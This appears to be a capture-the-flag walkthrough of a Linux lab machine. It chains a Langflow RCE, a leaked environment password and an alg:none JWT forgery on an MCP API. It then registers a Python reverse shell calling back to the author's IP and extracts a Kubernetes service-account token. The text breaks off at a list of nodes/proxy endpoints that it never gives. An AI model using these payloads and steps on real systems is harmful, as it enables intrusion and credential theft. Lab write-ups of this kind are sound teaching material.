Fireflow
Fireflow Machine Info
OSLinux
DifficultyMedium
StatusRetired
Stars★★★★★4.7/5.0
Released2026-06-23
Owns
User: 1,547
Root: 1,069
Times
User: 0H 0M 3S
Root: 0H 0M 3S
My Rank#1,066

Reconnaissance & Enumeration

As always we start with a network mapping to know what ports are up on the target host

Port Scanning (Nmap / Rustscan)

 rustscan --ulimit 10000 -a $IP -- -sCTV -Pn -oN enum/nmap/initial_scan
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.
 
[~] The config file is expected to be at "/home/anan/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.129.78.122:22
Open 10.129.78.122:443
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCTV -Pn -oN enum/nmap/initial_scan" on ip 10.129.78.122
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-23 18:52 +0300
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
Initiating Connect Scan at 18:52
Scanning fireflow.htb (10.129.78.122) [2 ports]
Discovered open port 22/tcp on 10.129.78.122
Discovered open port 443/tcp on 10.129.78.122
Completed Connect Scan at 18:52, 0.11s elapsed (2 total ports)
Initiating Service scan at 18:52
Scanning 2 services on fireflow.htb (10.129.78.122)
Completed Service scan at 18:52, 12.67s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.78.122.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 5.22s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 2.11s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
Nmap scan report for fireflow.htb (10.129.78.122)
Host is up, received user-set (0.064s latency).
Scanned at 2026-07-23 18:52:09 EEST for 20s
 
PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
443/tcp open  ssl/http syn-ack nginx
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Issuer: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-14T16:35:31
| Not valid after:  2028-07-17T16:35:31
| MD5:     86f0 35a9 f228 e371 154d 9ace 12ca a7cb
| SHA-1:   11fd 8101 fae5 a1d1 8e5e 04c8 0fa0 6317 3b96 8cbf
| SHA-256: 6613 a8e2 1925 1a51 99be 9878 59a1 3be2 a447 e5be 1444 5e25 49c0 9b6c cc04 9132
| -----BEGIN CERTIFICATE-----
| MIIDkDCCAnigAwIBAgIUeSfBd20RNhvard7QmjI5/UmFKHMwDQYJKoZIhvcNAQEL
| BQAwQzEVMBMGA1UEAwwMZmlyZWZsb3cuaHRiMR0wGwYDVQQKDBRUYXNrIEZvcmNl
| IE5pZ2h0ZmFsbDELMAkGA1UEBhMCVVMwHhcNMjYwNDE0MTYzNTMxWhcNMjgwNzE3
| MTYzNTMxWjBDMRUwEwYDVQQDDAxmaXJlZmxvdy5odGIxHTAbBgNVBAoMFFRhc2sg
| Rm9yY2UgTmlnaHRmYWxsMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAJHtSIbmYFJ0zz9fDgXw9fY85sh1LDZRJeVSLF7DG/uyW9GN
| cv1cr8d6z6uPKcW1DTULcZraf/vaRfaXR4Z/0kg2QtWR+Y1FTwwPm9qodbI57b57
| DDsIdCCo+aTXd6CKXwEmE42uMriYD44evdx+0G29Of6jw9a4gwo9sFplI1X3s69q
| vo4NuWz7dYyKSQ3tp++a8zfUTIaGG4Qjy4mkOSBIGrWA+6gztc3Uc6hi0lZ0gPBl
| YOGXqXyb4RC0ws3jFCtdxnnUgz+F9YZ+w4a3T1WBj8R2664UEbzjdML5RfImDkni
| BIyRs08LiQ6DvKyeIOF8JsBbz0UK4A0JDJU1i2MCAwEAAaN8MHowHQYDVR0OBBYE
| FMmWu1oJuqpAq44/aiv4dk1HWX05MB8GA1UdIwQYMBaAFMmWu1oJuqpAq44/aiv4
| dk1HWX05MA8GA1UdEwEB/wQFMAMBAf8wJwYDVR0RBCAwHoIMZmlyZWZsb3cuaHRi
| gg4qLmZpcmVmbG93Lmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAHaa+Jct6Z/TuY5f9
| b4iGWo9vD9Cnsq76lB9J81BEkjNGtWD/KekBUuShFcUmuAooaLU81KM6bgruqpIl
| IyfYES9oXwtm4XYiVQ7j4NEEq6fTMmqzRjkxivKwa7x5SDXIZzRhmH6RNqIQacDF
| bqRtqTFk0Py0cSH8VzuMEoK9l2GYQWz7gKlcjNwIct0yvtPz9MJ/4gBURl+iPkgm
| +Tw6QD3KqZ1sYXpHapJ3wV2VvUtARO53n5pvMmNvolCCIQbkpAVCW24NW71riIpW
| zKLn72vvUD5bgLPmlC2F7rmXKKqA22zHVewpJsM5FugUJFjp9IimK+j3uD2KutPA
| 1s0nVQ==
|_-----END CERTIFICATE-----
|_http-title: FireFlow \xE2\x80\x94 Task Force Nightfall
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:52
Completed NSE at 18:52, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.31 seconds

Web Enumeration & Subdomain Discovery

We notice the ports 22 and 443, let’s start by enumerating the web (port 443). Upon accessing https://10.129.78.122/ we are automatically redirected to https://fireflow.htb/ so let’s add it to /etc/hosts

 echo "$IP fireflow.htb" | sudo tee -a /etc/hosts
[sudo] password for anan:
 
10.129.78.122 fireflow.htb

Before enumerating the website manually I like running some background enum like subdomain enumeration and directory fuzzing so let’s do that also

Directory Fuzzing

 feroxbuster --url https://fireflow.htb/ --insecure
 
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://fireflow.htb/
 🚩  In-Scope Url          │ fireflow.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/anan/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       11w      146c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      298l     1276w    12913c https://fireflow.htb/
[####>---------------] - 10s     7370/30002   32s     found:1       errors:2
[####>---------------] - 10s     7356/30000   755/s   https://fireflow.htb/
 ffuf -u https://$IP/ -H "Host: FUZZ.fireflow.htb" -w $DNSBIG -c -ic -ac
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : https://10.129.78.122/
 :: Wordlist         : FUZZ: /home/anan/Arsenal/Wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.fireflow.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

Now let’s start looking around in the website: the website was static with nothing interesting other than the Open Agent button that redircts us to a subdomain: https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25, this sends us to a Langflow platform and from the above screenshot(in the bottom) we can see that it’s version is 1.8.2 so let’s search for any vulns related to that version. We immediatley find CVE-2026-33017

CVE-2026-33017

Remote Code Execution (RCE) vulnerability in the Public flow build process of Langflow, an open-source platform for visually building LLM applications and AI workflows.
By sending crafted flow data to the build_public_tmp endpoint without authentication, an attacker can cause arbitrary Python code to be executed on the server.

Initial Access (User - www-data)

Langflow RCE (CVE-2026-33017)

In the search results there was a public poc repo so let’s clone it and try that exploit

 python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.28 --lport 6969
 
[*] Target: https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&log_builds=false
[*] Callback: 10.10.16.28:6969
[*] Request returned no response (expected if shell connected): HTTPSConnectionPool(host='flow.fireflow.htb', port=443): Max retries exceeded with url: /api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&log_builds=false (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate (_ssl.c:1082)')))

The error was because we are trying to connect to a HTTPS server with an unknown certificate so let’s fix that. In the send_payload() function we see that the requests options doesn’t have verify=False so let’s add it Now it works!

Now let’s start enumerating

www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
www-data@fireflow:/var/lib/langflow$ ls
ba4fe756-d6f7-4c7a-a7b1-f986206878ec  langflow.db  profile_pictures  secret_key
 
www-data@fireflow:/var/lib/langflow$ cat langflow.db
 
www-data@fireflow:/var/lib/langflow$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash
 
www-data@fireflow:/var/lib/langflow$ env
LANGFLOW_LOG_LEVEL=warning
SHELL=/usr/bin/bash
USER_AGENT=langflow
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
SERVER_SOFTWARE=gunicorn/22.0.0
LANGFLOW_NEW_USER_IS_ACTIVE=False
PWD=/var/lib/langflow
LOGNAME=www-data
LANGFLOW_SUPERUSER=langflow
SYSTEMD_EXEC_PID=1525
LANGFLOW_CONFIG_DIR=/var/lib/langflow
HOME=/var/www
LANG=en_US.UTF-8
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/langflow.service/memory.pressure
INVOCATION_ID=5acf2d88e91849b2b20b493c75710f65
TERM=xterm-256color
USER=www-data
LANGFLOW_AUTO_LOGIN=False
SHLVL=2
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
JOURNAL_STREAM=8:10895
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
_=/usr/bin/env

Shell Upgrade & Privilege Pivot (nightfall)

the langflow.db file was empty but luckily in the environment variables there is LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll so that could be a potential password for the nightfall user we found, let’s try using that password on him. And voila! We’re in Now let’s get user.txt and continue enumerating.

Internal Pivoting & MCP Exploitation

Local Enumeration & Port Forwarding (Ligolo-ng)

nightfall@fireflow:~$ find . -type f -ls
     2514      4 -rw-r--r--   1 nightfall nightfall      807 Mar 31  2024 ./.profile
      739      4 -rw-------   1 nightfall nightfall      146 Jul 23 12:14 ./.mcp/config.json
     2516      4 -rw-r--r--   1 nightfall nightfall      220 Mar 31  2024 ./.bash_logout
     2549      4 -rw-r--r--   1 nightfall nightfall     3771 Mar 31  2024 ./.bashrc
     2681      4 -rw-r-----   1 root      nightfall       33 Jul 23 12:14 ./user.txt
     6106      0 -rw-r--r--   1 nightfall nightfall        0 Apr 14 16:01 ./.cache/motd.legal-displayed
 
 
nightfall@fireflow:~$ cat .mcp/config.json
{
  "server": "http://10.129.78.122:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}
 
 
nightfall@fireflow:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:7860          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10010         0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:46069         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10249         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10259         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10258         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10257         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:10256         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:6444          0.0.0.0:*               LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 :::10250                :::*                    LISTEN
tcp6       0      0 :::6443                 :::*                    LISTEN
tcp6       0      0 :::9100                 :::*                    LISTEN
udp        0      0 127.0.0.54:53           0.0.0.0:*
udp        0      0 127.0.0.53:53           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:8472            0.0.0.0:*

Upon quick enum we found two really interesting finds:

  1. Creds to the mcp server
  2. The host is probably running K8s Let’s examine the mcp server first but to do that it will be easier for us to portforward and do that from our host. I prefer using ligolo so that’s what I will use now. I will start by uploading the agent binary to the target host Now let’s connect it us and portforward Now it works perfectly! We notice here three things:
  • /docs endpoint, this will help us build the requests
  • POST requests to /api/v1/tools requires admin privs
  • One of the supported algorithms for JWT is none so we can tamper any JWT we want :)

MCP API JWT Algorithm Confusion (alg: none)

Let’s start by check /docs to see how can we use the api. As we can we it’s a standard Swagger UI, let’s try and get a JWT now using the documentation

 curl -X 'POST' \
  'http://240.0.0.1:30080/api/v1/auth' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "username": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}'
 
 
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps","token_type":"bearer"}

Now let’s take this JWT token and see what it has, for this step I used this website let’s now change the alg to none and role to admin:

Note: the website doesnt put a trailing . in the end when we use alg=none so don’t forget to add it yourself

RCE via MCP Tool Registration & Execution

Now let’s register a tool so we can use it with the mcp, we will find the format in the Swagger UI

Register Tool

 curl -X 'POST' \
  'http://240.0.0.1:30080/api/v1/tools' \
  -H 'accept: application/json' \
  -H "Authorization: Bearer $JWT" \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "anan-shell",
  "description": "0xAnan is a tensai!",
  "inputSchema": {
    "additionalProp1": {}
  },
  "code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.16.28\",6969))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}'
 
 
{"status":"registered","name":"anan-shell"}

I used this python reverse shell so it forks out of the running process and give us presistence so even if the main process (mcp call) closed our shell will stay up. Now let’s run our tool from the mcp endpoint:

Use MCP

In mcp’s documentation this is how we call tools so let’s try it

 curl -X 'POST' \
  'http://240.0.0.1:30080/mcp' \
  -H 'accept: application/json' \
  -H "Authorization: Bearer $JWT" \
  -H 'Content-Type: application/json' \
  -d '{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "anan-shell",
    "arguments": {
    }
  }
}'
 
 
{"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":""}],"isError":false}}

And we got the shell!

Kubernetes Enumeration & Privilege Escalation (Root)

In-Pod Reconnaissance & SA Token Extraction

Now it looks like we’re inside a pod so let’s start enumerating it, I like this bash script for quickly finding interesting things so let’s upload it there and run it

mcp@mcp-server-54464cb475-29ztf:/tmp$ ls
k8s-pod-enum.sh
mcp@mcp-server-54464cb475-29ztf:/tmp$ bash k8s-pod-enum.sh
 
    ██╗  ██╗ █████╗ ███████╗    ██████╗  ██████╗ ██████╗     ███████╗███╗   ██╗██╗   ██╗███╗   ███╗
    ██║ ██╔╝██╔══██╗██╔════╝    ██╔══██╗██╔═══██╗██╔══██╗    ██╔════╝████╗  ██║██║   ██║████╗ ████║
    █████╔╝ ╚█████╔╝███████╗    ██████╔╝██║   ██║██║  ██║    █████╗  ██╔██╗ ██║██║   ██║██╔████╔██║
    ██╔═██╗ ██╔══██╗╚════██║    ██╔═══╝ ██║   ██║██║  ██║    ██╔══╝  ██║╚██╗██║██║   ██║██║╚██╔╝██║
    ██║  ██╗╚█████╔╝███████║    ██║     ╚██████╔╝██████╔╝    ███████╗██║ ╚████║╚██████╔╝██║ ╚═╝ ██║
    ╚═╝  ╚═╝ ╚════╝ ╚══════╝    ╚═╝      ╚═════╝ ╚═════╝     ╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝
 
    In-Pod Kubernetes Enumeration v1.0.0 by Ahrixia
    For compromised containers - LinPEAS Style
 
 
╔══════════════════════════════════════════════════════════════════╗
 TOOL CHECK
╚══════════════════════════════════════════════════════════════════╝
[-] kubectl not found
[] curl found
 
╔══════════════════════════════════════════════════════════════════╗
 SERVICE ACCOUNT TOKEN CHECK
╚══════════════════════════════════════════════════════════════════╝
[!!!] Service Account token found!
Path: /var/run/secrets/kubernetes.io/serviceaccount/token
Token (first 50 chars): eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid1...
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Token Details (JWT Payload)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Service Account: mcp-sa
Namespace: default
Pod Name: mcp-server-54464cb475-29ztf
Node Name: fireflow
Full Identity: system:serviceaccount:default:mcp-sa
Expires: Fri Jul 23 17:13:37 UTC 2027
    └─➤ TIP: Use this token to authenticate to the API server
    └─➤ CMD: export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[] CA certificate found at /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
[] Namespace: default
 
╔══════════════════════════════════════════════════════════════════╗
 API SERVER DETECTION
╚══════════════════════════════════════════════════════════════════╝
[] API Server from env: https://10.43.0.1:443
[] API Server reachable
 
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}
╔══════════════════════════════════════════════════════════════════╗
 PERMISSION ENUMERATION (API)
╚══════════════════════════════════════════════════════════════════╝
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Self Subject Rules Review
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[] Got permissions from API
 
╔══════════════════════════════════════════════════════════════════╗
 NAMESPACE ENUMERATION
╚══════════════════════════════════════════════════════════════════╝
 
╔══════════════════════════════════════════════════════════════════╗
 POD ENUMERATION
╚══════════════════════════════════════════════════════════════════╝
 
╔══════════════════════════════════════════════════════════════════╗
 SECRET ENUMERATION
╚══════════════════════════════════════════════════════════════════╝
 
╔══════════════════════════════════════════════════════════════════╗
 SERVICE ACCOUNT ENUMERATION
╚══════════════════════════════════════════════════════════════════╝
 
╔══════════════════════════════════════════════════════════════════╗
 CRONJOB ENUMERATION
╚══════════════════════════════════════════════════════════════════╝
 
╔══════════════════════════════════════════════════════════════════╗
 CONTAINER ESCAPE VECTORS
╚══════════════════════════════════════════════════════════════════╝
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Checking host mounts
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Capabilities (from /proc)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	00000000a80425fb
CapAmb:	0000000000000000
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Host Filesystem Access
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
╔══════════════════════════════════════════════════════════════════╗
 CLOUD METADATA CHECK
╚══════════════════════════════════════════════════════════════════╝
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 AWS Metadata
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 GCP Metadata
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Azure Metadata
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
╔══════════════════════════════════════════════════════════════════╗
 NETWORK ENUMERATION
╚══════════════════════════════════════════════════════════════════╝
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Network Interfaces
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth0: 1855491   14385    0    0    0     0          0         0  2392095   12157    0    0    0     0       0          0
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Listening Ports
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Internal Services
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
╔══════════════════════════════════════════════════════════════════╗
 SUMMARY & NEXT STEPS
╚══════════════════════════════════════════════════════════════════╝
Recommended Actions:
 
[1] EXTRACT TOKEN FOR EXTERNAL USE
    cat /var/run/secrets/kubernetes.io/serviceaccount/token
    # Use with kubectl --token=<token> from attacker machine
 
═══════════════════════════════════════════════════════════════════
                    Enumeration Complete
═══════════════════════════════════════════════════════════════════

We found a service account token! this is really good as it will allow us to enumerate the node and maybe compromise it. Now we have a reverse shell inside a Kubernetes pod (mcp-server) via Penelope and have exfiltrated the pod’s service account files to our machine. These files are auto-mounted into every K8s pod at /var/run/secrets/kubernetes.io/serviceaccount/, they allow us to authenticate to the K8s API as the pod’s service account (mcp-sa).

  • token — A JWT that authenticates us as system:serviceaccount:default:mcp-sa
  • ca.crt — The cluster’s CA certificate, needed to verify TLS to the API server
  • namespace — The namespace the pod runs in (default)

API Server Port Forwarding & Kubeconfig Setup

We now have to port forward the K8s API server to our machine, the K8s API server is at 10.43.0.1:443

ClusterIP only reachable from inside the cluster network. We can’t hit it directly from our attacker machine. We need to tunnel through our existing shell.

Now localhost:6443 on our machine reaches the K8s API through the compromised pod. Before interacting with the API we need to create a kubeconfig file, it’s a YAML config that bundles the server address, CA cert, and authentication token into one file. We will build one pointing at our port-forwarded API.

 ls
ca.crt  namespace  token
 
 
 export TOKEN=$(cat token)
 
kubectl config set-cluster fireflow \
  --server=https://127.0.0.1:6443 \
  --certificate-authority=$(pwd)/ca.crt \
  --embed-certs=true \
  --kubeconfig=kubeconfig.yaml
 
kubectl config set-credentials mcp-sa \
  --token="$TOKEN" \
  --kubeconfig=kubeconfig.yaml
 
kubectl config set-context fireflow \
  --cluster=fireflow --user=mcp-sa --namespace=default \
  --kubeconfig=kubeconfig.yaml
 
kubectl config use-context fireflow \
  --kubeconfig=kubeconfig.yaml
  
Cluster "fireflow" set.
User "mcp-sa" set.
Context "fireflow" created.
Switched to context "fireflow".

Abuse of nodes/proxy GET Subresource (RCE Vector)

Now we’re set let’s start by enumerating our service account’s permissions

 kubectl --kubeconfig=kubeconfig.yaml auth can-i --list
 
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
nodes/proxy                                     []                                     []               [get]

This command lists every permission the current identity ( mcp-sa ) has in the cluster, which resources it can access and what verbs (get, list, create, delete, etc.) are allowed. It’s the first thing you check after getting a SA token.

Without any further enum we hit the jackpot! nodes/proxy is a special K8s subresource that lets us proxy HTTP requests through the API server directly to the kubelet on a node. With get permission on nodes/proxy, we can hit:

  • /api/v1/nodes/<node-name>/proxy/<any-kubelet-endpoint> This means the API server acts as a pass-through to the kubelet. we’re effectively talking to kubelet:10250 through the API server on port 443.

Here’s some of the important endpoints we can use:

